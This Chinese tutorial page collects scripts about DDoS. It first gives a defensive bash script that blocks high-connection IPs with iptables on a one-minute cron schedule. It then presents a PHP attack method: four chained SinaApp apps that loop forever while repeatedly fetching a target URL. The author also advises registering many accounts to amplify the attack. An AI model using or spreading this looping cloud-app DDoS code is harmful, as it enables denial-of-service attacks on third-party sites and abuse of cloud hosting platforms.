• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
导航菜单
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • windows
  • 服务器硬件
  • 服务器运维
  • 云计算
  • 虚拟化
  • IIS教程
  • Linux
  • Apache
  • Ftp
  • DNS
  • Nginx
您的位置:首页 > 服务器 >windows > 服务器被DDOS攻击防御脚本总结

服务器被DDOS攻击防御脚本总结

作者:网友 字体:[增加 减小] 来源:互联网

本文主要包含服务器ddos防御,服务器如何防御ddos,ddos攻击服务器软件,服务器被ddos攻击,服务器防ddos等服务器相关知识,网友希望可以进行参考

服务器给ddos攻击我收集了两种脚本代码一种是linux shell命令实现攻击,另一种就是可在任何环境下支持php代码,下面我把源码贴出来,大家可参考。

服务器被DDOS攻击防御的SHELL脚本


1.编写脚本

mkdir /root/bin

vi /root/bin/dropip.sh

#!/bin/bash

/bin/netstat -na|grep ESTABLISHED|awk ‘{print $5}’|awk -F: ‘{print $1}’|sort|uniq -c|sort -rn|head -10|grep -v -E ’192.168|127.0′|awk ‘{if ($2!=null && $1>4) {print $2}}’>/tmp/dropip

for i in $(cat /tmp/dropip)

do

/sbin/iptables -A INPUT -s $i -j DROP

echo “$i kill at `date`”>>/var/log/ddos

done

2.增加执行权限

chmod +x /root/bin/dropip.sh

3.添加到计划任务,每分钟执行一次

crontab -e

*/1 * * * * /root/bin/dropip.sh

说明:

最重要的是第二行,获取ESTABLISHED连接数最多的前10个ip并写入临时文件/tmp/dropip,排除了内部ip段192.168|127.0开头的.通过for循环将dropip里面的ip通过iptables全部drop掉,然后写到日志文件/var/log/ddos

还一种方法就是利用php写ddos攻击,利用其它云平台来操作

主要使用sinaapp作为测试对象。

测试思路:创建4个版本的app.

版本1 主页代码如下:

  <php

  file_get_contents('http://2.mars.sinaapp.com/');//版本1触发攻击(访问版本2)

  >

版本2 主页代码:

  <php

  file_get_contents('http://www.xxx.com/ip.php')://攻击目标

  file_get_contents('http://3.mars.sinaapp.com/');//访问版本3

  >

版本3 主页代码:

  <php

  for ($i=1; $<=10; $i++){//这里邪恶了一下,多来几次效果更佳

  file_get_contents('http://www.xxx.com/ip.php');

  file_get_contents('http://4.mars.sinaapp.com/'); }

  >

版本4 主页代码:

  <php

  file_get_contents('http://2.mars.sinaapp.com/');//访问版本2,导致死循环

  >

以上是使用一个sinaapp用户进行攻击的步骤,可以自己扩展,注册大量用户及创建更多的版本进行攻击。但在测试过程中发现,每个APP实际上有两个IP出口。使用多个用户效果会更好。

分享到:QQ空间新浪微博腾讯微博微信百度贴吧QQ好友复制网址打印

您可能想查找下面的文章:

  • Web网站服务器DDOS攻击的解决方案
  • 服务器被DDOS攻击防御脚本总结

相关文章

  • 解决windows2003中IIS6.0服务器应用程序不可用
  • Apache启动时无法加载php5apache2_2.dll解决办法
  • linux生产服务器有关网络状态的优化措施
  • Ghost时出现错误代码5555h的解决方法(一)
  • [趣图]恋爱就像TCP连接一样,是不可靠的
  • 在CentOS 5上配置NFS服务器
  • nagios+cacti+nconf部署文档
  • telnet判断端口是否开放
  • windows以管理员权限运行命令介绍
  • Windows IIS 7.5配置二级域名图文详解

文章分类

  • windows
  • 服务器硬件
  • 服务器运维
  • 云计算
  • 虚拟化
  • IIS教程
  • Linux
  • Apache
  • Ftp
  • DNS
  • Nginx

最近更新的内容

    • windows中关闭137,138,139危险端口方法
    • windows服务器安装iis环境方法教程
    • windows下定时cmd命令行运行php文件实例
    • 列举十个糟糕的IE Bug 及修复方法
    • 电脑忘记密码之找回密码的方法大汇总
    • 浅淡系统页面文件和虚拟内存的关系
    • DNS域名服务器
    • mogilefs的存储节点由dead转为alive
    • Hyper-V 和 VMware 虚拟机软件共存的设置方法
    • nginx+php编译安装

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有